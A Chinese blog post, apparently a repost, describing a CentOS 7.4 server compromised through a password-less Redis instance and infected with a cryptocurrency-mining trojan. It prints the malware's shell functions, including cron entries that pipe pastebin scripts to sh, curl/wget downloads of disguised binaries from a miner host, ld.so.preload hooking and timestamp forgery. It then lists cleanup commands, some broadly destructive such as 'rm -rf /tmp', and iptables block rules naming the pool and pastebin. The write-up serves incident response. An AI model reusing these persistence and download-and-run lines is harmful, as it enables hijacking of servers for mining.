Centos 7.4 服务器 被植入挖矿木马

背景

最近由于在弄springboot shiro的redis session共享的问题,所以在服务器上部署了redis,因为没有太多的考虑所以没有设置密码。

等到第二天的时候,发现redis外网无法访问内网可以。

查看端口绑定情况  netstat -antlp | grep 6379 发现绑定没有问题

查看本地的路由,发现绑定到了127.0.0.1

发现绑定问题之后,就增加一条路由规则

iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

病毒代码

1function tables() { 2 iptables -I INPUT -p TCP --dport 6379 -j REJECT 3 iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT 4 iptables-save 5 touch /tmp/.tables 6}

增加了之后终于外网能访问了,利用RedisDesktopManager 再次连接后,发现内容里面多了两条定时任务,感觉很奇怪也没在意,以为不是很大的问题,反正能用也没在意。

终于第三天redis又不能访问了,而且又增加了一条本地端口映射的路由规则。

感觉上服务器有一些问题,马上看了下 服务器ssh登入的 authorized_keys文件,发现里面内容key增加了不少。

于是进行百度查询相关的问题,根据描述基本可以确定中了挖矿木马。

查看服务器的定时任务 crontab -l 始终会有一条定时任务,采用命令crontab -r 进行删除,1分钟后又会自动生成

原理

采用定时任务脚本下载对应的执行程序,并将对应的程序命名成为 libdns.so

下面为部分的定时任务代码

1function top() { 2 mkdir -p /usr/local/lib/ 3 if [ ! -f "/usr/local/lib/libdns.so" ]; then 4 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so 5 if [ ! -f "/usr/local/lib/libdns.so" ]; then 6 wget https://master.minerxmr.ru/y/1539580368x-1566688371.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so 7 fi 8 fi 9 echo /usr/local/lib/libdns.so > /etc/ld.so.preload 10 touch -acmr /bin/sh /etc/ld.so.preload 11 touch -acmr /bin/sh /usr/local/lib/libdns.so 12}

简单点理解,只要你的定时任务不删除,对应的程序就会下载,就会往本地电脑中添加定时任务

定时任务路径

1function echocron() { 2 echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/root 3 echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /etc/cron.d/apache 4 echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/root 5 mkdir -p /var/spool/cron/crontabs 6 echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh\n##" > /var/spool/cron/crontabs/root 7 mkdir -p /etc/cron.hourly 8 curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner 9 if [ ! -f "/etc/cron.hourly/oanacroner" ]; then 10 wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner 11 fi 12 mkdir -p /etc/cron.daily 13 curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner 14 if [ ! -f "/etc/cron.daily/oanacroner" ]; then 15 wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner 16 fi 17 mkdir -p /etc/cron.monthly 18 curl -fsSL https://pastebin.com/raw/1NtRkBc3 -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner 19 if [ ! -f "/etc/cron.monthly/oanacroner" ]; then 20 wget https://pastebin.com/raw/1NtRkBc3 -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner 21 fi 22 touch -acmr /bin/sh /var/spool/cron/root 23 touch -acmr /bin/sh /var/spool/cron/crontabs/root 24 touch -acmr /bin/sh /etc/cron.d/apache 25 touch -acmr /bin/sh /etc/cron.d/root 26 touch -acmr /bin/sh /etc/cron.hourly/oanacroner 27 touch -acmr /bin/sh /etc/cron.daily/oanacroner 28 touch -acmr /bin/sh /etc/cron.monthly/oanacroner 29}

 病毒程序代码

1function downloadrunxm() { 2 mkdir -p /var/tmp 3 chmod 1777 /var/tmp 4 pm=$(netstat -an | grep :56415 | wc -l) 5 if [ ${pm} -eq 0 ];then 6 rm -rf /var/tmp/config.json* 7 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539581805x1822611359.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json 8 if [ ! -f "/var/tmp/config.json" ]; then 9 wget https://master.minerxmr.ru/y/1539581805x1822611359.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json 10 fi 11 ARCH=$(uname -i) 12 if [ "$ARCH" == "x86_64" ]; then 13 rm -rf /var/tmp/kworkerds* 14 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds 15 if [ ! -f "/var/tmp/kworkerds" ]; then 16 wget https://master.minerxmr.ru/y/1539592750x-1566688347.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds 17 fi 18 nohup /var/tmp/kworkerds >/dev/null 2>&1 & 19 elif [ "$ARCH" == "i386" ]; then 20 rm -rf /var/tmp/kworkerds* 21 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds 22 if [ ! -f "/var/tmp/kworkerds" ]; then 23 wget https://master.minerxmr.ru/y/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds 24 fi 25 nohup /var/tmp/kworkerds >/dev/null 2>&1 & 26 else 27 rm -rf /var/tmp/kworkerds* 28 curl -fsSL --connect-timeout 120 https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds 29 if [ ! -f "/var/tmp/kworkerds" ]; then 30 wget https://master.minerxmr.ru/y/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds 31 fi 32 nohup /var/tmp/kworkerds >/dev/null 2>&1 & 33 fi 34 fi 35}

解决方案

1.排查用户是否增加。有增加进行删除(该概率比较小)

2.排查登入免密登入文件是否修改。如果服务器采用 sshkey登入,排查文件authorized_keys 中的key是否有增加(原理 具体详见  ssh 免秘钥登入服务器),最好进行原秘钥登入删除,进行更新,顺便可以考虑更换一下ssh端口(建议,纯粹为了系统安全,更改方式,详见百度)

3.查看所有定时任务执行脚本,明确本地的程序。定时任务查看 crontab -l 查看服务器定时任务,定人任务中包含 wget 网址后面跟了  sh(忘记截图,只能描述一下),然后根据定时任务中的网址进行浏览器访问,会得到一大串的乱码,将乱码复制,然后粘贴到Base64解码工具中进行解码,可以获得 定时任务执行的命令。然后分析对应个的脚本内容。会查看到本地的执行程序 libudev.so ,也可以看到脚本中增加了6379增加了本地路由规则,查看到程序后 进行删除,不删除程序,则会不断增加定时任务到 系统中。(因为已经处理,所以不能配图了)

4.删除定时任务。1) crontab -r 删除任务 2) cd /etc/cron.d  删除apache,及root(经查看本次中的内容跟网上的不太一样,这几个文件中均有定时任务,所以进行了删除)

5.查看进行。top -c 查看占用cup很高的进程(因为已经删除所有不能进行配图),查看到kworkerds 进行,路径在 /tmp下。 kill -9 pid 进行杀死进行,然后进行目录下进行删除内容

脚本

 iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
 iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
 iptables -A INPUT -s pastebin.com -j DROP
 iptables -A OUTPUT -d pastebin.com -j DROP

1rm -rf /bin/dns 2crontab -r 3rm -rf /etc/cron.d 4rm -rf /etc/crontab 5rm -rf /usr/local/lib/libdns.so 6rm -rf /usr/local/lib/libdns.so 7rm -rf /etc/ld.so.preload 8rm -rf /tmp/.pythong 9rm -rf /var/spool/cron 10rm -rf /etc/cron.hourly 11rm -rf /etc/cron.daily 12rm -rf /etc/cron.monthly 13rm -rf /tmp/.tables 14rm -rf /etc/init.d/agentwatch 15rm -rf /usr/sbin/aliyun-service 16rm -rf /usr/local/aegis* 17killall kworkerds 18rm -rf /tmp/kworkerds 19rm -rf /var/tmp/config.json 20rm -rf /tmp

一段时间后发现 系统定时任务已经不会在增加,并且已经不纯在高消耗cpu的进程了。

总结

**1.**该问题如果需要完全解决,必须好好查看对应的定时任务下载并执行的脚本,而且发现该问题并不是一成不变的,在处理问题的时候发现与百度上描述的还是有很大的区别。

  2.给redis增加上安全控制(很重要)

转载的话,请标明下出处 https://www.cnblogs.com/dyft/articles/9797664.html

点赞
收藏

评论区

加载中...

相关推荐

MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1

文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s

Oracle 分组与拼接字符串同时使用

SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(

MySQL部分从库上面因为大量的临时表tmp_table造成慢查询

背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_

皕杰报表之UUID

​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为

手写Java HashMap源码

HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程HashMap的使用教程22

2020年前端实用代码段,为你的工作保驾护航

有空的时候,自己总结了几个代码段,在开发中也经常使用,谢谢。1、使用解构获取json数据let jsonData  id: 1,status: "OK",data: 'a', 'b';let  id, status, data: number   jsonData;console.log(id, status, number )